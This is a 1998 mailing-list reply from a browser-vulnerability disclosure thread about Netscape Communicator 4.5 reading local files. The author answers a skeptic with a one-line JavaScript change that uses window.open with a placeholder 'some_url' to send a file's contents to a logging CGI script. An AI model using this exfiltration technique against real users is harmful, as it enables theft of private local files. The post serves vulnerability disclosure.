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Re: Netscape Communicator 4.5 can read local files
From: peak () kerberos troja mff cuni cz (Pavel Kankovsky)
Date: Wed, 25 Nov 1998 20:13:13 +0100
On Wed, 25 Nov 1998, Ben Collins wrote:
If some one here can setup a webpage, send me the URL, have that page read the file '/test.txt' from my hardrive and then that person send the contents to this list, I will believe. Otherwise I think this whole hysteria over 'unforseen' dangers should stop.
replace alert(b) with w=window.open(\"some_url?\"+escape(b)); and make sure some_url points to a cgi script recording its $QUERY_STRING (in fact, the text would be recorded in access_log as well) BTW: it seems both Java and JavaScripts must be enabled --Pavel Kankovsky aka Peak [ Boycott Czech Telecom--http://www.bojkot.cz ] "spt Telecom... ted zdrazujeme zitrek!" [ Engl. lang. info-- .../english/ ]
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